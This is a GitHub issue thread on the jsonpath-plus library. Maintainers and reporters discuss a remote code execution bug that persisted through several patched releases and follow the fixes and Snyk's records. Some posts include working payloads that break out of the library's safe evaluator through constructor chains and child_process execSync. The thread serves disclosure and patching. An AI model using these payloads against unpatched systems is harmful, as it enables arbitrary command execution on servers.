-
-
Notifications
You must be signed in to change notification settings - Fork 177
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
Remote Code Execution (RCE) is still possible #226
Comments
Our "safe" vm had an issue here, so switching to use that vm by default indeed did not fix the RCE bug. I've released a new patch for the safe vm which throws upon |
This is still being flagged as vulnerable by Snyk. |
I am not sure why this is closed. I see still synk is throwing RCE. |
I have communicated to Synk that this issue should now be resolved (at least with the example reported). It is up to them to find the time to review and update their records. |
A note. const { JSONPath } = require('jsonpath-plus');
JSONPath({ path: '$[?(_$_root.a)]', json: { a: Function } }); |
I've released 10.0.2 to fix a vulnerability not addressed by 10.0.1. Just reported the update to Synk as well. |
And released 10.0.3 to fix another workaround I realized was still possible. Also reported the update. |
Released 10.0.4 to fix another possible evasion. Too many ways to evade detection. |
@brettz9 With the large amount of possible evasion methods, would it be worth considering making eval: false the default behavior for nodejs? |
@zmiele : I think that would really gut the library given how frequently filters are used and expected. Since we have been fixing all known vulnerabilities, and since the "safe" evaluator is a subset of JavaScript under our control, I think we should be able to get it right. It's just not such a trivial matter and could benefit from review by more eyes, especially those familiar with security circumvention techniques. |
Hi @brettz9 ! // "jsonpath-plus": "^10.0.5",
const { JSONPath } = require("jsonpath-plus");
JSONPath({
path: '$[?(var _$_root=constructor.constructor.call([],"console.log(this.process.mainModule.require(`child_process`).execSync(`id`).toString())");@root())]',
json: { a: 1 },
}); |
Thanks... Should now be preventing Function.prototype.call/apply workaround in 10.0.6. |
This comment was marked as off-topic.
This comment was marked as off-topic.
@brettz9
evalMemberExpression(ast, subs) {
if ((ast.property.type === "Identifier" && ast.property.name === "constructor")||(ast.object.type === "Identifier" && ast.object.name === "constructor")) throw new Error("cannot read property 'constructor'")
const prop = ast.computed ? SafeEval.evalAst(ast.property) // `object[property]`
: ast.property.name; // `object.property` property is Identifier
const { JSONPath } = require("jsonpath-plus");
JSONPath({
path: '$[?(@root.a.get(constructor, "constructor").call([]"console.log(123)")())]',
json: { a: Reflect },
}); |
@03sunf : I've sent you an email. Thanks! |
10.0.7 should have fixed another vulnerability (though we're now up to 10.1.0). Please watch new releases for any further updates. I can, however, add an update here if Snyk reports back. |
Hi @brettz9 I am trying to reproduce the vulnerability reported and fixed in this thread. I am using older versions of the package, without success. For context, I create hands-on labs to learn about Runtime Security (threat detection), Vulnerability Management, and compliance. I would like to include this CVE as an example of a vulnerability discovered and fixed, how to detect an RCE exploit, and how to mitigate it and reduce risk with VM tools. I have reviewed all the information available but still can't reproduce the vulnerability. Can we take a look together to understand which steps I should follow? Here's my setup: https://gist.github.com/pabloopez/da3a7f5ca5631b3dc00d7d9d3790b9af Using nodejs version 18 and JSONPath-plus vs 9.0.0 Any comment is welcomed! |
@pabloopez : Send me an email at brettz9@yahoo.com |
Hi @brettz9!! I was able to reproduce it yesterday night. Sorry for not updating you on the issue. We have a working demo for the training that explains how to detect and respond to threats. |
@brettz9 It looks like Snyk has been updated post 10.1.0 and is still reporting the RCE as possible with the following POC:
|
Thanks for the PR, @80avin ! Released as part of v10.2.0. |
@brettz9 Do updates have to be manually reported to Snyk or will they automatically test and update the vulnerability? |
It's been picked up @DBaack11 , but the issue still remains. |
Thanks for the information, @brettz9 . Looking forward to hearing from them soon for some updates. |
Fix seems to be reviewed by Snyk team now and ^10.2.0 is considered to be safe now. https://security.snyk.io/vuln/SNYK-JS-JSONPATHPLUS-7945884 |
Describe the bug
JSONPath Plus Remote Code Execution (RCE) Vulnerability has been patched in version 10.0.0, but Remote Code Execution (RCE) is still possible with the payload below as the
path
value.Code sample or steps to reproduce
Expected behavior
Environment (IMPORTANT)
Desktop**
CC @shpik-kr
The text was updated successfully, but these errors were encountered: